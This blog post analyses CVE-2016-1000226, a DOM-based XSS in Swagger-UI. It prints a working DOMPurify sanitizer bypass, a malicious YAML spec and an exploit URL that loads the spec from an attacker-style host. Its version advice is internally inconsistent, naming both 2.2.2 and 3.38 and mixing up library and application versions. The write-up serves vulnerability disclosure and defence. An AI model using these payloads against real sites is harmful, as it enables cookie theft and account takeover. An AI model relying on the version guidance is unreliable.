blog.lesis.lat

Analysis of CVE-2016-1000226: XSS in Swagger-UI

November 07, 2024 | 6 Minute Read

CVE-2016-1000226[1] is a cross-site scripting (XSS)[2] vulnerability in Swagger-UI[3], disclosed on July 21, 2016, affecting versions prior to 2.2.2. This vulnerability allows an attacker to inject malicious scripts into API input parameters and within its Swagger JSON document generation.

This publication is also available in: Portugues


What is Swagger-UI?

Swagger-UI is an open-source tool that displays API specifications in a developer-friendly graphical interface. Widely used for managing, documenting, and testing APIs, it allows easy visualization and interaction with RESTful APIs directly in the browser.

This tool operates based on the Swagger document, which describes the API, using a JavaScript library to process and render the content graphically on the screen.


Vulnerability

Although the Swagger-UI has a significant history of XSS vulnerabilities, all previous vulnerabilities required user interaction for a successful exploitation. The current vulnerability, however, is a DOM XSS that does not require such interaction. Since the vulnerability is controlled by query parameters, an attacker can exploit it without any user involvement.

This flaw arises from Swagger-UI’s use of an outdated version of the DOMPurify[4] library in versions prior to 2.2.2, which prevents proper sanitization of user-provided input parameters.


How does Swagger UI render API specifications?

The process begins with creating a Swagger document (OpenAPI Specification), that defines the API structure, including endpoints, methods, parameters, and other relevant information about the API. This document is typically written in YAML or JSON format.

Then, when accessing Swagger-UI in the browser and providing the URL or file containing the Swagger document, the interface starts the document loading process. This can be done either through the API URL where the Swagger document is hosted or by directly uploading the file.

Let’s focus on the function that enables loading a Swagger document via a URL, which can be done in two ways:

  • ?url=https://host/spec.yaml
  • ?configUrl=https://host/file.json

Next, Swagger fetches the JSON configuration or YAML API specifications, processes them, and renders the content in the user’s browser. Additionally, it interprets any description fields in the API specification as Markdown[5].

Example of how YAML[6] specifications are structured:

swagger: '2.0'  
 info:  
   title: Example yaml.spec  
   description: This is an example text \*\*HELLO FROM MARKDOWN\*\*  
 paths:  
   /accounts:  
     get:  
       responses:  
         '200':  
           description: No response was specified  
       tags:  
         \- accounts  
       operationId: findAccounts  
       summary: Finds all accounts

Helper function used to render Markdown in the Swagger UI:

// src/components/providers/markdown.jsx

 function Markdown({ source, className \= "", getConfigs }) {  
   ... omitted ...

   const md \= new Remarkable({  
     html: true,  
     typographer: true,  
     breaks: true,  
     linkTarget: "\_blank"  
   }).use(linkify)

   md.core.ruler.disable(\["replacements", "smartquotes"\])

   const { useUnsafeMarkdown } \= getConfigs()  
   const html \= md.render(source)  
   const sanitized \= sanitizer(html, { useUnsafeMarkdown })

   if (\!source || \!html || \!sanitized) {  
     return null  
   }

   return (  
     \<div className={cx(className, "markdown")} dangerouslySetInnerHTML=\>\</div\>  
   )  
 }

The sanitizer function uses DOMPurify to sanitize the input string, with an additional configuration that explicitly forbids the HTML <style> tag. However, this restriction can be bypassed using the <textarea> and <title> tags, which can “simulate” the behavior of the <style> tag. This method works because the <textarea> and <title> tags allow inserting CSS into an HTML attribute, serving a similar purpose to the <style> tag in this bypass. This behavior is then exploited to inject CSS that executes JavaScript.

The DOMPurify library used by Swagger-UI doesn’t explicitly prevent the use of CSS with HTML attributes, allowing the following bypass:

\<math\>\<mtext\>\<option\>\<FAKEFAKE\>\<option\>\</option\>\<mglyph\>\<svg\>\<mtext\>\<textarea\>\<a title="\</textarea\>\<img src='\#' onerror='alert(1)'\>"\>

Exploitation

The exploitation relies on Swagger’s processing any description field in the API specification as Markdown. Therefore, inserting the bypass in the following payload is sufficient:

swagger: '2.0'  
 info:  
   title: Example yaml.spec  
   description: |  
     \<math\>\<mtext\>\<option\>\<FAKEFAKE\>\<option\>\</option\>\<mglyph\>\<svg\>\<mtext\>\<textarea\>\<a title="\</textarea\>\<img src='\#' onerror='alert(document.domain)'\>"\>  
 paths:  
   /accounts:  
     get:  
       responses:  
         '200':  
           description: No response was specified  
       tags:  
         \- accounts  
       operationId: findAccounts  
      summary: Finds all accounts

With the malicious payload created, simply load the YAML specification file at the URL of the vulnerable application:

https://site-vulneravel.com/swagger-ui.html?url=https://site-malicioso.com/payload-swagger-ui.yml

Evidence of the payload being triggered:


Impact

The successful exploitation of this vulnerability can lead to several negative impacts, including:

  • Theft of cookies and user sessions, allowing an attacker to assume the user’s identity and access confidential information.
  • Exposure of sensitive data, such as passwords, payment details, and other personal information.
  • Access to privileged services and functionalities, enabling an attacker to perform malicious actions on behalf of the compromised user.

Mitigation

The XSS vulnerability affects Swagger-UI versions prior to 2.2.2. If you are using a version prior to 3.38, it is recommended to upgrade to the latest version. If a full package update is not possible, consider updating only DOMPurify to a version higher than 2.2.2.


Conclusion

The root cause of the vulnerability is an outdated version of the DOMPurify library, responsible for sanitizing user input. Exploitation occurs when Swagger processes its document, which may contain malicious code, especially API specification descriptions, where Swagger-UI interprets the content as Markdown.

Potential impacts of successful exploitation include cookie and session theft, exposure of sensitive information, and unauthorized access to privileged services on behalf of the victim.

The recommended mitigation is to update Swagger-UI to version 2.2.2 or later. If a full package update is not feasible, updating DOMPurify to a version above 2.2.2 is advised.


References